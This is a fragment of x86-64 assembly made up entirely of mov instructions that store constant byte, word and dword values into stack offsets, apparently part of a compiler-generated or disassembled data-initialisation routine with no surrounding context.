mov dword [rsp + 0xab80], 0xcf89
mov eax, 0x78f
mov word [rsp + 0x2938], ax
mov dword [rsp + 0xab84], 0x724
mov dword [rsp + 0xab88], 0xb3f7
mov byte [rsp + 0x46c], 0x8a
mov dword [rsp + 0xab8c], 0x2320
mov eax, 0x31d
mov word [rsp + 0x293c], ax
mov dword [rsp + 0xab90], 0x1464
mov dword [rsp + 0xab94], 0x7754
mov dword [rsp + 0xab98], 0x7495
mov dword [rsp + 0xab9c], 0xfd0d
mov eax, 0x689
mov word [rsp + 0x2940], ax
mov eax, 0xaa8
mov word [rsp + 0x2944], ax
mov byte [rsp + 0x46d], 0x3e
mov byte [rsp + 0x46e], 0xef
mov eax, 0x3fb
mov word [rsp + 0x2948], ax
mov eax, 0xeb4
mov word [rsp + 0x294c], ax
mov eax, 0xde6
mov word [rsp + 0x2950], ax
mov byte [rsp + 0x46f], 0x88
mov byte [rsp + 0x470], 0x4e
mov dword [rsp + 0xaba0], 0x5cae
mov byte [rsp + 0x471], 0x2e
mov byte [rsp + 0x472], 0x5e
mov dword [rsp + 0xaba4], 0x4d45
mov dword [rsp + 0xaba8], 0xdce
mov dword [rsp + 0xabac], 0x42b0
mov byte [rsp + 0x473], 0xbc
mov dword [rsp + 0xabb0], 0x116b
mov dword [rsp + 0xabb4], 0x60ed
mov byte [rsp + 0x474], 0x99
mov dword [rsp + 0xabb8], 0x32a9
mov byte [rsp + 0x475], 0x71
mov dword [rsp + 0xabbc], 0x6fc7
mov byte [rsp + 0x476], 0xe9
mov dword [rsp + 0xabc0], 0x4a48
mov eax, 0x4da
mov word [rsp + 0x2954], ax
mov dword [rsp + 0xabc4], 0x4309
mov eax, 0x217
mov word [rsp + 0x2958], ax
mov byte [rsp + 0x477], 2
mov eax, 0x4a1
mov word [rsp + 0x295c], ax
mov dword [rsp + 0xabc8], 0x2aa5
mov dword [rsp + 0xabcc], 0xf2a
mov dword [rsp + 0xabd0], 0x3f2a
mov dword [rsp + 0xabd4], 0x666d
mov byte [rsp + 0x478], 0x6b
mov byte [rsp + 0x479], 0xef
mov dword [rsp + 0xabd8], 0x3bf7
mov eax, 0xd06
mov word [rsp + 0x2960], ax
mov byte [rsp + 0x47a], 0xed
mov dword [rsp + 0xabdc], 0xe32e
mov eax, 0x202
mov word [rsp + 0x2964], ax
mov dword [rsp + 0xabe0], 0x3151
mov eax, 0x772
mov word [rsp + 0x2968], ax
mov eax, 0x41e
mov word [rsp + 0x296c], ax
mov dword [rsp + 0xabe4], 0x363e
mov dword [rsp + 0xabe8], 0x43f5
mov byte [rsp + 0x47b], 0x78
mov dword [rsp + 0xabec], 0xd40c
mov eax, 0x2e9
mov word [rsp + 0x2970], ax
mov dword [rsp + 0xabf0], 0x78c2
mov byte [rsp + 0x47c], 0xd0
mov dword [rsp + 0xabf4], 0x1ba1
mov eax, 0x7b0
mov word [rsp + 0x2974], ax
mov byte [rsp + 0x47d], 0x1f
mov dword [rsp + 0xabf8], 0x7a2
mov dword [rsp + 0xabfc], 0x7c18
mov eax, 0xa87
mov word [rsp + 0x2978], ax
mov dword [rsp + 0xac00], 0x834f
mov dword [rsp + 0xac04], 0x5631
mov dword [rsp + 0xac08], 0x7ae1
mov dword [rsp + 0xac0c], 0x25fc
mov dword [rsp + 0xac10], 0x3b8b
mov dword [rsp + 0xac14], 0x1dc4
mov eax, 0xaf4
mov word [rsp + 0x297c], ax
mov eax, 0x350
mov word [rsp + 0x2980], ax
mov dword [rsp + 0xac18], 0x3bef
mov dword [rsp + 0xac1c], 0x2a07
mov dword [rsp + 0xac20], 0x15a
mov eax, 0xea8
mov word [rsp + 0x2984], ax
mov eax, 0x59c
mov word [rsp + 0x2988], ax
mov dword [rsp + 0xac24], 0xb85a
mov byte [rsp + 0x47e], 0x14
mov eax, 0x638
mov word [rsp + 0x298c], ax
mov byte [rsp + 0x47f], 0x55
mov dword [rsp + 0xac28], 0x463
mov dword [rsp + 0xac2c], 0x42e9
mov dword [rsp + 0xac30], 0x2f87
mov dword [rsp + 0xac34], 0xe041
mov dword [rsp + 0xac38], 0x86ed
mov dword [rsp + 0xac3c], 0x4c80
mov dword [rsp + 0xac40], 0x582d
mov dword [rsp + 0xac44], 0x59e3
mov dword [rsp + 0xac48], 0x2a6c
mov eax, 0x925
mov word [rsp + 0x2990], ax
mov dword [rsp + 0xac4c], 0x5593
mov byte [rsp + 0x480], 0x2a
mov dword [rsp + 0xac50], 0x2671
mov byte [rsp + 0x481], 0x2c
mov dword [rsp + 0xac54], 0x5d9d
mov eax, 0xbac
mov word [rsp + 0x2994], ax
mov eax, 0x2e5
mov word [rsp + 0x2998], ax
mov dword [rsp + 0xac58], 0x7233
mov eax, 0x62e
mov word [rsp + 0x299c], ax
mov dword [rsp + 0xac5c], 0x2563
mov eax, 0x39d
mov word [rsp + 0x29a0], ax
mov byte [rsp + 0x482], 0x7b
mov dword [rsp + 0xac60], 0x6f0d
mov dword [rsp + 0xac64], 0x599c
mov eax, 0xbce
mov word [rsp + 0x29a4], ax
mov dword [rsp + 0xac68], 0x4182
mov dword [rsp + 0xac6c], 0x2a73
mov byte [rsp + 0x483], 0x15
mov byte [rsp + 0x484], 0x2f
mov eax, 0x166
mov word [rsp + 0x29a8], ax
mov byte [rsp + 0x485], 0xef
mov dword [rsp + 0xac70], 0xc6ef
mov eax, 0xc00
mov word [rsp + 0x29ac], ax
mov eax, 0xaf6
mov word [rsp + 0x29b0], ax
mov dword [rsp + 0xac74], 0x54fc
mov eax, 0x49c
mov word [rsp + 0x29b4], ax
mov dword [rsp + 0xac78], 0x494b
mov eax, 0x3a9
mov word [rsp + 0x29b8], ax
mov dword [rsp + 0xac7c], 0x7b16
mov byte [rsp + 0x486], 0x10
mov dword [rsp + 0xac80], 0xc6ce
mov dword [rsp + 0xac84], 0xd873
mov eax, 0x420
mov word [rsp + 0x29bc], ax
mov dword [rsp + 0xac88], 0x462
mov eax, 0x619
mov word [rsp + 0x29c0], ax
mov dword [rsp + 0xac8c], 0xd1e9
mov dword [rsp + 0xac90], 0x534c
mov eax, 0x35b
mov word [rsp + 0x29c4], ax
mov dword [rsp + 0xac94], 0x76b6
mov eax, 0xe17
mov word [rsp + 0x29c8], ax
mov eax, 0x341
mov word [rsp + 0x29cc], ax
mov eax, 0x2e
mov word [rsp + 0x29d0], ax
mov byte [rsp + 0x487], 0x19
mov byte [rsp + 0x488], 0x4d
mov dword [rsp + 0xac98], 0x7a0b
mov byte [rsp + 0x489], 0x4e
mov dword [rsp + 0xac9c], 0x6b04
mov eax, 0x664
mov word [rsp + 0x29d4], ax
mov eax, 0xef4
mov word [rsp + 0x29d8], ax
mov byte [rsp + 0x48a], 0x1f
mov eax, 0xb17
mov word [rsp + 0x29dc], ax
mov eax, 0x721
mov word [rsp + 0x29e0], ax
mov dword [rsp + 0xaca0], 0x1934
mov eax, 0x20e
mov word [rsp + 0x29e4], ax
mov dword [rsp + 0xaca4], 0x3a72
mov dword [rsp + 0xaca8], 0x2e32
mov byte [rsp + 0x48b], 0xa5
mov dword [rsp + 0xacac], 0x7798
mov eax, 0x576
mov word [rsp + 0x29e8], ax
mov dword [rsp + 0xacb0], 0x2aa5
mov dword [rsp + 0xacb4], 0x39e0
mov dword [rsp + 0xacb8], 0xa148
mov byte [rsp + 0x48c], 0x60
mov dword [rsp + 0xacbc], 0x53e5
mov byte [rsp + 0x48d], 0x1b
mov byte [rsp + 0x48e], 0x57
mov eax, 0x79c
mov word [rsp + 0x29ec], ax
mov eax, 0x7c0
mov word [rsp + 0x29f0], ax
mov byte [rsp + 0x48f], 4
mov dword [rsp + 0xacc0], 0x7927
mov dword [rsp + 0xacc4], 0xc6d
mov dword [rsp + 0xacc8], 0x6590
mov dword [rsp + 0xaccc], 0x75a3
mov dword [rsp + 0xacd0], 0x5a52
mov eax, 0x4e3
mov word [rsp + 0x29f4], ax
mov byte [rsp + 0x490], 0x1f
mov eax, 0xbc6
mov word [rsp + 0x29f8], ax
mov eax, 0xf77
mov word [rsp + 0x29fc], ax
mov eax, 0x8ee
mov word [rsp + 0x2a00], ax
mov dword [rsp + 0xacd4], 0x6d5
mov eax, 0xc0a
mov word [rsp + 0x2a04], ax
mov eax, 0x74e
mov word [rsp + 0x2a08], ax
mov dword [rsp + 0xacd8], 0xa90c
mov dword [rsp + 0xacdc], 0x4b59
mov eax, 0x33b
mov word [rsp + 0x2a0c], ax
mov byte [rsp + 0x491], 0x77
mov dword [rsp + 0xace0], 0x333b
mov dword [rsp + 0xace4], 0x4f0a
mov dword [rsp + 0xace8], 0x1ebc
mov eax, 0x6b2
mov word [rsp + 0x2a10], ax
mov dword [rsp + 0xacec], 0x1a27
mov dword [rsp + 0xacf0], 0xf1dd
mov dword [rsp + 0xacf4], 0xf4dc
mov eax, 0x603
mov word [rsp + 0x2a14], ax
mov dword [rsp + 0xacf8], 0x7685
mov dword [rsp + 0xacfc], 0x3638
mov dword [rsp + 0xad00], 0x4bf1
mov dword [rsp + 0xad04], 0xb82c
mov eax, 0x577
mov word [rsp + 0x2a18], ax
mov dword [rsp + 0xad08], 0x7807
mov dword [rsp + 0xad0c], 0xaaf
mov dword [rsp + 0xad10], 0x4af4
mov dword [rsp + 0xad14], 0x1487
mov eax, 0x5bc
mov word [rsp + 0x2a1c], ax
mov dword [rsp + 0xad18], 0x17d4
mov eax, 0xc3b
mov word [rsp + 0x2a20], ax
mov dword [rsp + 0xad1c], 0x28bf
mov dword [rsp + 0xad20], 0x66d1
mov eax, 0xc51
mov word [rsp + 0x2a24], ax
mov dword [rsp + 0xad24], 0xc80
mov eax, 0x16d
mov word [rsp + 0x2a28], ax
mov dword [rsp + 0xad28], 0x1d09
mov byte [rsp + 0x492], 0x8e
mov dword [rsp + 0xad2c], 0x3878
mov dword [rsp + 0xad30], 0x3ad
mov dword [rsp + 0xad34], 0x697f
mov eax, 0x54d
mov word [rsp + 0x2a2c], ax
mov dword [rsp + 0xad38], 0x758c
mov dword [rsp + 0xad3c], 0x3c1c
mov dword [rsp + 0xad40], 0x408c
mov dword [rsp + 0xad44], 0x550c
mov dword [rsp + 0xad48], 0x56db
mov byte [rsp + 0x493], 0xa
mov byte [rsp + 0x494], 0x5e
mov dword [rsp + 0xad4c], 0x7a13
mov eax, 0x8ee
mov word [rsp + 0x2a30], ax
mov byte [rsp + 0x495], 0x54
mov dword [rsp + 0xad50], 0x1917
mov byte [rsp + 0x496], 0x74
mov eax, 0x34f
mov word [rsp + 0x2a34], ax
mov dword [rsp + 0xad54], 0x1a83
mov dword [rsp + 0xad58], 0x855
mov dword [rsp + 0xad5c], 0x10e7
mov dword [rsp + 0xad60], 0x38e1
mov eax, 0x7c2
mov word [rsp + 0x2a38], ax
mov dword [rsp + 0xad64], 0x5536
mov dword [rsp + 0xad68], 0x2de3
mov dword [rsp + 0xad6c], 0x64d3
mov dword [rsp + 0xad70], 0x5020
mov dword [rsp + 0xad74], 0x46c4
mov byte [rsp + 0x497], 0x79
mov dword [rsp + 0xad78], 0x7481
mov dword [rsp + 0xad7c], 0x50b5
mov dword [rsp + 0xad80], 0x7c58
mov dword [rsp + 0xad84], 0x453a
mov eax, 0xc40
mov word [rsp + 0x2a3c], ax
mov dword [rsp + 0xad88], 0x616b
mov byte [rsp + 0x498], 0xfb
mov dword [rsp + 0xad8c], 0x43e4
mov dword [rsp + 0xad90], 0x1b1c
mov dword [rsp + 0xad94], 0x36fa
mov dword [rsp + 0xad98], 0x136
mov dword [rsp + 0xad9c], 0x5130
mov byte [rsp + 0x499], 0x41
mov byte [rsp + 0x49a], 0x26
mov dword [rsp + 0xada0], 0x796f
mov dword [rsp + 0xada4], 0x41f5
mov dword [rsp + 0xada8], 0x46d0
mov byte [rsp + 0x49b], 0x55
mov dword [rsp + 0xadac], 0x41da
mov byte [rsp + 0x49c], 0xba
mov dword [rsp + 0xadb0], 0x2dd4
mov dword [rsp + 0xadb4], 0x46da
mov dword [rsp + 0xadb8], 0x2e3e
mov dword [rsp + 0xadbc], 0x64e6
mov dword [rsp + 0xadc0], 0x2955
mov eax, 0x2d9
mov word [rsp + 0x2a40], ax
mov byte [rsp + 0x49d], 0x90
mov byte [rsp + 0x49e], 0x8d
mov dword [rsp + 0xadc4], 0x14fb
mov dword [rsp + 0xadc8], 0x27c8
mov eax, 0x4f4
mov word [rsp + 0x2a44], ax
mov dword [rsp + 0xadcc], 0x7369
mov byte [rsp + 0x49f], 0xe2
mov eax, 0x4f2
mov word [rsp + 0x2a48], ax
mov dword [rsp + 0xadd0], 0x25ec
mov dword [rsp + 0xadd4], 0xe1a4
mov dword [rsp + 0xadd8], 0x163f
mov dword [rsp + 0xaddc], 0x236d
mov dword [rsp + 0xade0], 0xf249
mov dword [rsp + 0xade4], 0xd0a3
mov eax, 0xa81
mov word [rsp + 0x2a4c], ax
mov eax, 0x260
mov word [rsp + 0x2a50], ax
mov eax, 0x4bb
mov word [rsp + 0x2a54], ax
mov dword [rsp + 0xade8], 0x6e8f
mov dword [rsp + 0xadec], 0xf868
mov eax, 0x2d2
mov word [rsp + 0x2a58], ax
mov byte [rsp + 0x4a0], 0x5c
mov dword [rsp + 0xadf0], 0x3500
mov dword [rsp + 0xadf4], 0xfab
mov dword [rsp + 0xadf8], 0x4f6f
mov dword [rsp + 0xadfc], 0xf06
mov byte [rsp + 0x4a1], 0x8d
mov dword [rsp + 0xae00], 0x41ea
mov dword [rsp + 0xae04], 0x3efd
mov dword [rsp + 0xae08], 0x1588
mov dword [rsp + 0xae0c], 0x320f
mov byte [rsp + 0x4a2], 0x1d
mov dword [rsp + 0xae10], 0xadd
mov eax, 0xbc0
mov word [rsp + 0x2a5c], ax
mov byte [rsp + 0x4a3], 0x39
mov dword [rsp + 0xae14], 0x22ac
mov dword [rsp + 0xae18], 0xc832
mov eax, 0x614
mov word [rsp + 0x2a60], ax
mov dword [rsp + 0xae1c], 0x878c
mov dword [rsp + 0xae20], 0xee82
mov dword [rsp + 0xae24], 0x625f
mov dword [rsp + 0xae28], 0x6d7f
mov eax, 0xf2b
mov word [rsp + 0x2a64], ax
mov dword [rsp + 0xae2c], 0x44f
mov dword [rsp + 0xae30], 0x4c79
mov dword [rsp + 0xae34], 0xa53c
mov dword [rsp + 0xae38], 0x66c5
mov byte [rsp + 0x4a4], 0x3f
mov dword [rsp + 0xae3c], 0x372c
mov byte [rsp + 0x4a5], 0x7f
mov dword [rsp + 0xae40], 0x75a4
mov dword [rsp + 0xae44], 0xd3fe
mov dword [rsp + 0xae48], 0x710a
mov dword [rsp + 0xae4c], 0x7cf1
mov byte [rsp + 0x4a6], 0x78
mov dword [rsp + 0xae50], 0xedb8
mov byte [rsp + 0x4a7], 0x51
mov eax, 0x577
mov word [rsp + 0x2a68], ax
mov byte [rsp + 0x4a8], 0x72
mov eax, 0x158
mov word [rsp + 0x2a6c], ax
mov dword [rsp + 0xae54], 0xde47
mov dword [rsp + 0xae58], 0x6c8f
mov byte [rsp + 0x4a9], 0xc2
mov dword [rsp + 0xae5c], 0xdad6
mov dword [rsp + 0xae60], 0x4f04
mov dword [rsp + 0xae64], 0x5cac
mov dword [rsp + 0xae68], 0x3244
mov dword [rsp + 0xae6c], 0x6b67
mov eax, 0xec4
mov word [rsp + 0x2a70], ax
mov eax, 0x60
mov word [rsp + 0x2a74], ax
mov byte [rsp + 0x4aa], 0x8c
mov byte [rsp + 0x4ab], 0xc
mov dword [rsp + 0xae70], 0x7ef2
mov eax, 0xd9a
mov word [rsp + 0x2a78], ax
mov dword [rsp + 0xae74], 0x23ef
mov dword [rsp + 0xae78], 0x4794
mov byte [rsp + 0x4ac], 0x6a
mov eax, 0xcbc
mov word [rsp + 0x2a7c], ax
mov eax, 0x853
mov word [rsp + 0x2a80], ax
mov eax, 0x87f
mov word [rsp + 0x2a84], ax
mov dword [rsp + 0xae7c], 0x3fbd
mov byte [rsp + 0x4ad], 0x7d
mov dword [rsp + 0xae80], 0x2813
mov dword [rsp + 0xae84], 0x7c3e
mov eax, 0x33d
mov word [rsp + 0x2a88], ax
mov dword [rsp + 0xae88], 0x571c
mov eax, 0xfc4
mov word [rsp + 0x2a8c], ax
mov dword [rsp + 0xae8c], 0x7ec1
mov dword [rsp + 0xae90], 0x3952
mov eax, 0xaa0
mov word [rsp + 0x2a90], ax
mov dword [rsp + 0xae94], 0x4074
mov dword [rsp + 0xae98], 0xc571
mov byte [rsp + 0x4ae], 0xc2
mov eax, 0xc2e
mov word [rsp + 0x2a94], ax
mov dword [rsp + 0xae9c], 0x12f4
mov byte [rsp + 0x4af], 0xf4
mov dword [rsp + 0xaea0], 0x1c3
mov eax, 0x62d
mov word [rsp + 0x2a98], ax
mov dword [rsp + 0xaea4], 0xcd2b
mov eax, 0xfa2
mov word [rsp + 0x2a9c], ax
mov eax, 0xd67
mov word [rsp + 0x2aa0], ax
mov dword [rsp + 0xaea8], 0x11c
mov eax, 0x176
mov word [rsp + 0x2aa4], ax
mov byte [rsp + 0x4b0], 0x2a
mov dword [rsp + 0xaeac], 0x3f49
mov byte [rsp + 0x4b1], 0xa6
mov byte [rsp + 0x4b2], 0xc6
mov dword [rsp + 0xaeb0], 0xdff7
mov dword [rsp + 0xaeb4], 0x8e44
mov dword [rsp + 0xaeb8], 0x342e
mov dword [rsp + 0xaebc], 0x37cf
mov dword [rsp + 0xaec0], 0x914
mov dword [rsp + 0xaec4], 0x920
mov eax, 0x2c9
mov word [rsp + 0x2aa8], ax
mov eax, 0x181
mov word [rsp + 0x2aac], ax
mov dword [rsp + 0xaec8], 0xfa8
mov byte [rsp + 0x4b3], 0x79
mov byte [rsp + 0x4b4], 0x65
mov byte [rsp + 0x4b5], 0x20
mov dword [rsp + 0xaecc], 0x47c1
mov dword [rsp + 0xaed0], 0xfa7
mov eax, 0xf45
mov word [rsp + 0x2ab0], ax
mov dword [rsp + 0xaed4], 0x56f1
mov byte [rsp + 0x4b6], 0xf4
mov dword [rsp + 0xaed8], 0x60f1
mov dword [rsp + 0xaedc], 0x1645
mov eax, 0xb11
mov word [rsp + 0x2ab4], ax
mov eax, 0xfd
mov word [rsp + 0x2ab8], ax
mov dword [rsp + 0xaee0], 0x4aaa
mov dword [rsp + 0xaee4], 0x62c
mov dword [rsp + 0xaee8], 0xa4a
mov byte [rsp + 0x4b7], 0x1c
mov dword [rsp + 0xaeec], 0x4a4b
mov byte [rsp + 0x4b8], 0xb1
mov byte [rsp + 0x4b9], 0x3a
mov byte [rsp + 0x4ba], 0x64
mov dword [rsp + 0xaef0], 0x5008
mov dword [rsp + 0xaef4], 0x4d1f
mov dword [rsp + 0xaef8], 0x429f
mov dword [rsp + 0xaefc], 0x13e2
mov byte [rsp + 0x4bb], 0xab
mov dword [rsp + 0xaf00], 0x716f
mov dword [rsp + 0xaf04], 0x7e6b
mov eax, 0x6da
mov word [rsp + 0x2abc], ax
mov dword [rsp + 0xaf08], 0x28ae
mov eax, 0xada
mov word [rsp + 0x2ac0], ax
mov eax, 0x136
mov word [rsp + 0x2ac4], ax
mov byte [rsp + 0x4bc], 0x60
mov dword [rsp + 0xaf0c], 0x6f2d
mov eax, 0xbb
mov word [rsp + 0x2ac8], ax
mov byte [rsp + 0x4bd], 0xf
mov dword [rsp + 0xaf10], 0x20c
mov dword [rsp + 0xaf14], 0x5203
mov dword [rsp + 0xaf18], 0x2bfb
mov dword [rsp + 0xaf1c], 0xb53a
mov dword [rsp + 0xaf20], 0x3da
mov eax, 0x306
mov word [rsp + 0x2acc], ax
mov dword [rsp + 0xaf24], 0x531
mov dword [rsp + 0xaf28], 0x5a50
mov dword [rsp + 0xaf2c], 0x3cd
mov dword [rsp + 0xaf30], 0xc46
mov byte [rsp + 0x4be], 0xa1
mov dword [rsp + 0xaf34], 0x7eba
mov dword [rsp + 0xaf38], 0x4d78
mov byte [rsp + 0x4bf], 0x33
mov eax, 0x9ce
mov word [rsp + 0x2ad0], ax
mov dword [rsp + 0xaf3c], 0x20
mov dword [rsp + 0xaf40], 0x3e3a
mov dword [rsp + 0xaf44], 0x28d5
mov eax, 0x7d2
mov word [rsp + 0x2ad4], ax
mov dword [rsp + 0xaf48], 0x6207
mov byte [rsp + 0x4c0], 0x34
mov dword [rsp + 0xaf4c], 0x6d6
mov eax, 0x638
mov word [rsp + 0x2ad8], ax
mov byte [rsp + 0x4c1], 0xf
mov dword [rsp + 0xaf50], 0x18
mov dword [rsp + 0xaf54], 0x2f2a
mov dword [rsp + 0xaf58], 0x1c88
mov dword [rsp + 0xaf5c], 0xeeea
mov eax, 0x1eb
mov word [rsp + 0x2adc], ax
mov dword [rsp + 0xaf60], 0x4f7c
mov byte [rsp + 0x4c2], 8
mov dword [rsp + 0xaf64], 0x903e
mov dword [rsp + 0xaf68], 0x60b5
mov byte [rsp + 0x4c3], 0xa9
mov dword [rsp + 0xaf6c], 0x6505
mov dword [rsp + 0xaf70], 0x361b
mov dword [rsp + 0xaf74], 0x4af2
mov eax, 0x1e9
mov word [rsp + 0x2ae0], ax
mov dword [rsp + 0xaf78], 0x5af7
mov eax, 0x205
mov word [rsp + 0x2ae4], ax
mov byte [rsp + 0x4c4], 0xb0
mov dword [rsp + 0xaf7c], 0x35fd
mov dword [rsp + 0xaf80], 0x4ba1
mov dword [rsp + 0xaf84], 0x7443
mov eax, 0x3c0
mov word [rsp + 0x2ae8], ax
mov dword [rsp + 0xaf88], 0x7358
mov byte [rsp + 0x4c5], 0x97
mov dword [rsp + 0xaf8c], 0x6d0f
mov byte [rsp + 0x4c6], 0x3c
mov eax, 0x4e6
mov word [rsp + 0x2aec], ax
mov dword [rsp + 0xaf90], 0xca4c
mov byte [rsp + 0x4c7], 0xaa
mov dword [rsp + 0xaf94], 0x5547
mov dword [rsp + 0xaf98], 0x689e
mov dword [rsp + 0xaf9c], 0x2b94
mov dword [rsp + 0xafa0], 0x3da9
mov byte [rsp + 0x4c8], 0xb7
mov byte [rsp + 0x4c9], 0xbe
mov eax, 0x442
mov word [rsp + 0x2af0], ax
mov dword [rsp + 0xafa4], 0x4d15
mov eax, 0x47f
mov word [rsp + 0x2af4], ax
mov dword [rsp + 0xafa8], 0x4d85
mov dword [rsp + 0xafac], 0x6b0a
mov dword [rsp + 0xafb0], 0x3dcf
mov eax, 0x6eb
mov word [rsp + 0x2af8], ax
mov dword [rsp + 0xafb4], 0x2cb8
mov dword [rsp + 0xafb8], 0x645a
mov dword [rsp + 0xafbc], 0x77c1
mov dword [rsp + 0xafc0], 0x30af
mov dword [rsp + 0xafc4], 0x47d5
mov byte [rsp + 0x4ca], 0x47
mov eax, 0xc5b
mov word [rsp + 0x2afc], ax
mov dword [rsp + 0xafc8], 0x5e78
mov eax, 0x4c9
mov word [rsp + 0x2b00], ax
mov dword [rsp + 0xafcc], 0xff1d
mov dword [rsp + 0xafd0], 0x544
mov dword [rsp + 0xafd4], 0xf89
mov eax, 0x990
mov word [rsp + 0x2b04], ax
mov eax, 0xa6
mov word [rsp + 0x2b08], ax
mov dword [rsp + 0xafd8], 0xf71f
mov dword [rsp + 0xafdc], 0xd75
mov dword [rsp + 0xafe0], 0x262
mov byte [rsp + 0x4cb], 0x2a
mov dword [rsp + 0xafe4], 0x284d
mov dword [rsp + 0xafe8], 0x66f
mov eax, 0xca9
mov word [rsp + 0x2b0c], ax
mov eax, 0x3f2
mov word [rsp + 0x2b10], ax
mov eax, 0x171
mov word [rsp + 0x2b14], ax
mov byte [rsp + 0x4cc], 1
mov dword [rsp + 0xafec], 0xb3e0
mov eax, 0x778
mov word [rsp + 0x2b18], ax
mov dword [rsp + 0xaff0], 0x7c3b
mov byte [rsp + 0x4cd], 0x26
mov dword [rsp + 0xaff4], 0xe48b
mov dword [rsp + 0xaff8], 0x55d1
mov byte [rsp + 0x4ce], 0xad
mov dword [rsp + 0xaffc], 0x52
mov eax, 0xac0
mov word [rsp + 0x2b1c], ax
mov dword [rsp + 0xb000], 0x2189
mov dword [rsp + 0xb004], 0x7261
mov byte [rsp + 0x4cf], 0xf1
mov byte [rsp + 0x4d0], 0x71
mov dword [rsp + 0xb008], 0x7181
mov byte [rsp + 0x4d1], 0x7a
mov dword [rsp + 0xb00c], 0x67a7
mov eax, 0x39d
mov word [rsp + 0x2b20], ax
mov dword [rsp + 0xb010], 0x25be
mov dword [rsp + 0xb014], 0x662c
mov dword [rsp + 0xb018], 0xd81a
mov eax, 0xe11
mov word [rsp + 0x2b24], ax
mov dword [rsp + 0xb01c], 0xf1f3
mov byte [rsp + 0x4d2], 0x91
mov byte [rsp + 0x4d3], 0x71
mov byte [rsp + 0x4d4], 0x2f
mov dword [rsp + 0xb020], 0x4482
mov dword [rsp + 0xb024], 0x2dee
mov dword [rsp + 0xb028], 0xc12
mov dword [rsp + 0xb02c], 0x19df
mov eax, 0x7b7
mov word [rsp + 0x2b28], ax
mov byte [rsp + 0x4d5], 0x3f
mov dword [rsp + 0xb030], 0x91dd
mov dword [rsp + 0xb034], 0x4669
mov dword [rsp + 0xb038], 0x62c0
mov byte [rsp + 0x4d6], 0x44
mov dword [rsp + 0xb03c], 0x69c9
mov eax, 0x39f
mov word [rsp + 0x2b2c], ax
mov byte [rsp + 0x4d7], 0xb3
mov eax, 0x31e
mov word [rsp + 0x2b30], ax
mov byte [rsp + 0x4d8], 0x1d
mov dword [rsp + 0xb040], 0x3a5
mov eax, 0xef9
mov word [rsp + 0x2b34], ax
mov byte [rsp + 0x4d9], 0xb9
mov dword [rsp + 0xb044], 0xcb6f
mov dword [rsp + 0xb048], 0x3570
mov eax, 0x76e
mov word [rsp + 0x2b38], ax
mov dword [rsp + 0xb04c], 0x5a01
mov byte [rsp + 0x4da], 0xe1
mov eax, 0x519
mov word [rsp + 0x2b3c], ax
mov dword [rsp + 0xb050], 0x2603
mov dword [rsp + 0xb054], 0x3bf0
mov dword [rsp + 0xb058], 0x65cc
mov dword [rsp + 0xb05c], 0xbe25
mov dword [rsp + 0xb060], 0x56f7
mov byte [rsp + 0x4db], 0xa8
mov dword [rsp + 0xb064], 0x5e16
mov dword [rsp + 0xb068], 0x3bf3
mov dword [rsp + 0xb06c], 0xb3dc
mov dword [rsp + 0xb070], 0x4127
mov byte [rsp + 0x4dc], 0xc
mov byte [rsp + 0x4dd], 9
mov eax, 0x497
mov word [rsp + 0x2b40], ax
mov dword [rsp + 0xb074], 0x7ed4
mov dword [rsp + 0xb078], 0x4144
mov dword [rsp + 0xb07c], 0x66d6
mov dword [rsp + 0xb080], 0xe078
mov dword [rsp + 0xb084], 0x4173
mov byte [rsp + 0x4de], 0x61
mov dword [rsp + 0xb088], 0x2366
mov dword [rsp + 0xb08c], 0x7040
mov eax, 0xf5e
mov word [rsp + 0x2b44], ax
mov dword [rsp + 0xb090], 0x3e1a
mov dword [rsp + 0xb094], 0x580f
mov eax, 0x3b0
mov word [rsp + 0x2b48], ax
mov dword [rsp + 0xb098], 0x2a43
mov dword [rsp + 0xb09c], 0x4526
mov dword [rsp + 0xb0a0], 0x684
mov dword [rsp + 0xb0a4], 0x4c58
mov byte [rsp + 0x4df], 0xae
mov eax, 0x74c
mov word [rsp + 0x2b4c], ax
mov dword [rsp + 0xb0a8], 0x2f5f
mov eax, 0x3cc
mov word [rsp + 0x2b50], ax
mov byte [rsp + 0x4e0], 0xe9
mov eax, 0x4ec
mov word [rsp + 0x2b54], ax
mov dword [rsp + 0xb0ac], 0x51e1
mov eax, 0x9bf
mov word [rsp + 0x2b58], ax
mov dword [rsp + 0xb0b0], 0xe66f
mov dword [rsp + 0xb0b4], 0xf071
mov dword [rsp + 0xb0b8], 0x2df0
mov dword [rsp + 0xb0bc], 0x6124
mov byte [rsp + 0x4e1], 0x5e
mov eax, 0x170
mov word [rsp + 0x2b5c], ax
mov eax, 0x7a7
mov word [rsp + 0x2b60], ax
mov byte [rsp + 0x4e2], 4
mov eax, 0x71
mov word [rsp + 0x2b64], ax
mov eax, 0xc00
mov word [rsp + 0x2b68], ax
mov dword [rsp + 0xb0c0], 0x2455
mov eax, 0xfa0
mov word [rsp + 0x2b6c], ax
mov dword [rsp + 0xb0c4], 0x3076
mov byte [rsp + 0x4e3], 0xc6
mov dword [rsp + 0xb0c8], 0x445a
mov eax, 0xc59
mov word [rsp + 0x2b70], ax
mov byte [rsp + 0x4e4], 0x23
mov dword [rsp + 0xb0cc], 0x358e
mov eax, 0x8d8
mov word [rsp + 0x2b74], ax
mov eax, 0x3d9
mov word [rsp + 0x2b78], ax
mov byte [rsp + 0x4e5], 6
mov dword [rsp + 0xb0d0], 0x1703
mov byte [rsp + 0x4e6], 0xae
mov dword [rsp + 0xb0d4], 0x1d3a
mov dword [rsp + 0xb0d8], 0x5a54
mov eax, 0x121
mov word [rsp + 0x2b7c], ax
mov dword [rsp + 0xb0dc], 0x9224
mov dword [rsp + 0xb0e0], 0x21e5
mov dword [rsp + 0xb0e4], 0x2a47
mov dword [rsp + 0xb0e8], 0x889
mov dword [rsp + 0xb0ec], 0x22ef
mov dword [rsp + 0xb0f0], 0xee31
mov dword [rsp + 0xb0f4], 0x9cdf
mov dword [rsp + 0xb0f8], 0x99e2
mov eax, 0xb8c
mov word [rsp + 0x2b80], ax
mov dword [rsp + 0xb0fc], 0x67b2
mov dword [rsp + 0xb100], 0x1219
mov dword [rsp + 0xb104], 0x2fd6
mov eax, 0x363
mov word [rsp + 0x2b84], ax
mov eax, 0x90a
mov word [rsp + 0x2b88], ax
mov eax, 0x179
mov word [rsp + 0x2b8c], ax
mov dword [rsp + 0xb108], 0x19f0
mov byte [rsp + 0x4e7], 0x41
mov byte [rsp + 0x4e8], 0x60
mov byte [rsp + 0x4e9], 0xc7
mov byte [rsp + 0x4ea], 0x72
mov byte [rsp + 0x4eb], 0x42
